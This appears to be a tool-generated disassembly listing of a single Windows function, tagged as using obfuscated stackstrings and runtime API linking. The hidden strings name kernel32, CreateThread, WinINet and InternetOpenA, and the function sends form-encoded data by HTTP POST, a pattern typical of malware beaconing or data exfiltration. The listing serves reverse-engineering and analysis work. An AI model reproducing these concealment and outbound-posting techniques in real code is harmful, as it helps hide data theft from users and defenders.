Function at 0x140008a90
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x48]
sub rsp, 0x148
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov qword [rsp + 0x60], r9
mov qword [rsp + 0x68], r8
mov rdi, rdx
mov rsi, rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x78], rdx
xor r13d, r13d
mov r12d, dword [0x14003ff20]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x50], eax
mov dword [rbp - 0x60], 0x6e72656b
mov dword [rbp - 0x5c], 0x32336c65
mov dword [rbp - 0x58], 0x6c6c642e
mov byte [rbp - 0x54], al
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x38], ecx
mov dword [rbp - 0x48], 0x61657243
mov dword [rbp - 0x44], 0x68546574
mov dword [rbp - 0x40], 0x64616572
mov byte [rbp - 0x3c], cl
lea rdx, [rbp - 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fe70], rax
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rdi
lea r8, [0x140008980]
xor edx, edx
xor ecx, ecx
call rax
mov rbx, rax
test rax, rax
jne 0x140008bcb
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r13
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, rsi
call fcn.1400019f0
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140008bc2
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rdi]
jb 0x140008bbd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000906a
mov rcx, r8
call fcn.140012570
mov qword [rdi + 0x10], r13
jmp 0x140008fe1
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rbp - 0x24], r13
mov dword [rbp - 0x6a], r13d
mov word [rbp - 0x66], r13w
mov word [rbp - 7], r13w
mov byte [rbp - 5], 0
mov word [rbp + 0x11], r13w
mov byte [rbp + 0x13], 0
mov word [rbp + 0x29], r13w
mov byte [rbp + 0x2b], 0
mov dword [rbp - 0x30], 0x696e6957
mov dword [rbp - 0x2c], 0x2e74656e
mov dword [rbp - 0x28], 0x6c6c64
mov dword [rbp - 0x78], 0x65746e49
mov dword [rbp - 0x74], 0x74656e72
mov dword [rbp - 0x70], 0x6e65704f
mov word [rbp - 0x6c], 0x41
movdqa xmm0, xmmword [0x1400390a0]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 8], 0
movdqa xmm1, xmmword [0x1400390c0]
movdqu xmmword [rbp], xmm1
mov byte [rbp + 0x10], 0
movdqa xmm0, xmmword [0x1400390b0]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 0x28], 0
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [rbp - 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003feb0], rax
lea rdx, [rbp - 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fef0], rax
lea rdx, [rbp]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fec0], rax
lea rdx, [rbp + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fed0], rax
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140040038]
call qword [0x14003feb0]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140008b67
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r13
xor r9d, r9d
movzx r8d, word [rbp + 0xc8]
lea rdx, [0x140040050]
mov rcx, rax
call qword [0x14003fef0]
mov r15, rax
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140008b67
mov ecx, 0xa
call fcn.140012abc
mov rbx, rax
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rbx], rax
mov word [rbx + 8], ax
mov dword [rbx], 0x54534f50
lea ecx, [rax + 0xa]
call fcn.140012abc
mov r14, rax
mov dword [rax + 6], 0x312e
mov dword [rax], 0x50545448
mov word [rax + 4], 0x312f
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
mov r9, rax
lea r8, [0x14003ffc0]
mov rdx, rbx
mov rcx, r15
call qword [0x14003fec0]
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x140008dbf
mov rcx, rbx
call fcn.140012570
mov rcx, r14
call fcn.140012570
jmp 0x140008b67
mov ecx, 0x7d0
call fcn.140012abc
mov r12, rax
xor edx, edx
mov r8d, 0x7d0
mov rcx, rax
call fcn.14002a9f0
mov ecx, 0x46
call fcn.140012abc
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov dword [rbx + 0x40], eax
mov word [rbx + 0x44], ax
lea ecx, [rax + 0x64]
call fcn.140012abc
mov r13, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r13], xmm0
movups xmmword [r13 + 0x10], xmm0
movups xmmword [r13 + 0x20], xmm0
movups xmmword [r13 + 0x30], xmm0
movups xmmword [r13 + 0x40], xmm0
movups xmmword [r13 + 0x50], xmm0
mov dword [r13 + 0x60], eax
mov dword [rbx], 0x746e6f43
mov dword [rbx + 4], 0x2d746e65
mov dword [rbx + 8], 0x65707954
mov dword [rbx + 0xc], 0x7061203a
mov dword [rbx + 0x10], 0x63696c70
mov dword [rbx + 0x14], 0x6f697461
mov dword [rbx + 0x18], 0x2d782f6e
mov dword [rbx + 0x1c], 0x2d777777
mov dword [rbx + 0x20], 0x6d726f66
mov dword [rbx + 0x24], 0x6c72752d
mov dword [rbx + 0x28], 0x6f636e65
mov dword [rbx + 0x2c], 0x646564
mov rdx, rbx
mov r8, r13
sub r8, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdx]
mov byte [r8 + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140008ea0
mov ecx, 0xa
call fcn.140012abc
mov r15, rax
xor eax, eax
mov qword [r15], rax
mov word [r15 + 8], ax
mov dword [r15], 0x646f7270
mov word [r15 + 4], 0x7461
mov r9, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140008ee1
mov r9, qword [rdi]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r8, r15
lea rdx, str._s_s_0__s_0__s
mov rcx, r12
call fcn.140001c70
mov r8, 0xffffffffffffffff
mov rax, r8
inc rax
cmp byte [r12 + rax], 0
jne 0x140008f11
nop dword [rax + rax]
inc r8
cmp byte [r8 + r13], 0
jne 0x140008f20
mov dword [rsp + 0x20], eax
mov r9, r12
mov rdx, r13
mov rcx, qword [rsp + 0x48]
call qword [0x14003fed0]
mov rcx, qword [rsp + 0x40]
test eax, eax
jne 0x14000900f
call fcn.140012570
mov rcx, r14
call fcn.140012570
mov rcx, r12
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, r13
call fcn.140012570
mov rcx, r15
call fcn.140012570
xor ecx, ecx
call fcn.140012570
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
xor ebx, ebx
mov qword [rsi + 0x10], rbx
mov qword [rsi + 0x18], rbx
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, rsi
call fcn.1400019f0
nop
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140008fdd
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140008fd8
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000906a
mov rcx, r8
call fcn.140012570
mov qword [rdi + 0x10], rbx
mov byte [rdi], 0
mov rax, rsi
mov qword [rdi + 0x18], 0xf
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140012550
add rsp, 0x148
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140012570
nop
mov rcx, r14
call fcn.140012570
mov rcx, r12
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, r13
call fcn.140012570
mov rcx, r15
call fcn.140012570
xor ecx, ecx
call fcn.140012570
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140008f80
call fcn.140019138
int3